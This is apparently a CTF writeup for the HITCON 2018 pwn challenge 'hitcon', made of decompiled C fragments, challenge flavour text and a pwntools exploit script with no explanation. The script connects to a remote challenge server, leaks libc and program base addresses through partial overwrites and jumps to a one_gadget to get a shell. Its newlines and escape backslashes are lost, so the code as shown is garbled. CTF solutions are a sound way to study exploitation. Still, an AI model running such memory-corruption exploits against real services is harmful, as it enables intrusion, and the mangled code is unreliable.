【技术分享】】记Hitcon 2018的一道pwn题 —— 《hitcon》 writeup

(*(void (__fastcall **)(Audience *))(*(_QWORD *)aud[i] + 16LL))(aud[i]);

david942jAll in one shot - One Gadget RCEAll you need to know is: $ gem install one_gadget && one_gadget /lib/x86_64-linux-gnu/libc.so.6

OrangeA New Era Of SSRFThe new meaning of SSRF - Special Super Rare Food! Yummmmmmm..
AngelboyPlay with File Structure - Yet Another Binary ExploitToo easy, even babies know how to exploit with file structure.
JesmonWarrior of SalvationKid, try my Judgement of the Blade.

v0 = (const char *)(*(__int64 (__fastcall **)(_QWORD *))(*aud[i] + 24LL))(aud[i]);

mov rax, fs:[0]

from pwn import *debug=0context.log_level='debug'e=ELF('./libc.so.6')#e=ELF('./libc.so.6')if debug:    p=process('./hitcon',env={'LD_PRELOAD':'./libc.so.6'})    gdb.attach(p)else:    p=remote('13.115.73.78', 31733)def ru(x):return p.recvuntil(x)def se(x):    p.send(x)def sl(x):    p.sendline(x)order=[2,3,5,1,8,9,6,4,7]# schedulesl('3')for i in range(9):for q in range(4):        ru('----------------------------------------')    sl(str(i+1)+' '+str(order[i]))ru('Exit')sl('4')# choose any one in first roundru('2. ')sl('1')# choose Jesmon in second roundru('2. ')sl('2')ru('Any questions?n')#raw_input()# partial write and leak addressse('x71'*93)libc=u64('x70'+ru('n')[:-1]+'x00x00')if debug:    base=libc+0xB5E890else:    base=libc+0xB5E890-0x5A8000ru('May I know your name please?')se('a'*31)  # repaire ru('Which room you'd like to go?')sl('2')ru('Any questions?n')stack=libc-0x1002988se('a'*91+p64(stack-0x70+0x100))pbase=u64(ru('n')[:-1]+'x00x00')-0x23fc #get program baseru('May I know your name please?n')#payload=p64(pbase+0x2ea3)+p64(pbase+0x203EF8)+p64(pbase+0x1160)  #use it to leak rand addresspayload=p64(base+0x4f322)  #one gadgetse(payload)print(hex(base))p.interactive()